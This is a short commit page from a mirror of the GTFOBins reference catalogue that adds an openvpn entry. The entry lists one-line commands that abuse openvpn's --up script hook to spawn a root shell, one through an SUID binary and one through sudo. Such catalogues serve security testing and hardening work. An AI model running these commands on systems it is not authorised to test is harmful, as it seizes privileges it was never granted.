1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00

Add openvpn

This commit is contained in:
Emanuel Duss 2021-02-20 00:33:43 +01:00 committed by GitHub
parent 47bc7c0ae5
commit ad35aaa5d8
Signed by: GitHub
GPG Key ID: 4AEE18F83AFDEB23

10
_gtfobins/openvpn.md Normal file

@ -0,0 +1,10 @@
---
functions:
suid:
- code: |
./openvpn --dev tun0 --script-security 2 --up '/bin/sh -p -c "sh -p"'
sudo:
- code: |
COMMAND='id'
sudo openvpn --dev tun0 --script-security 2 --up '/bin/sh -c sh'
---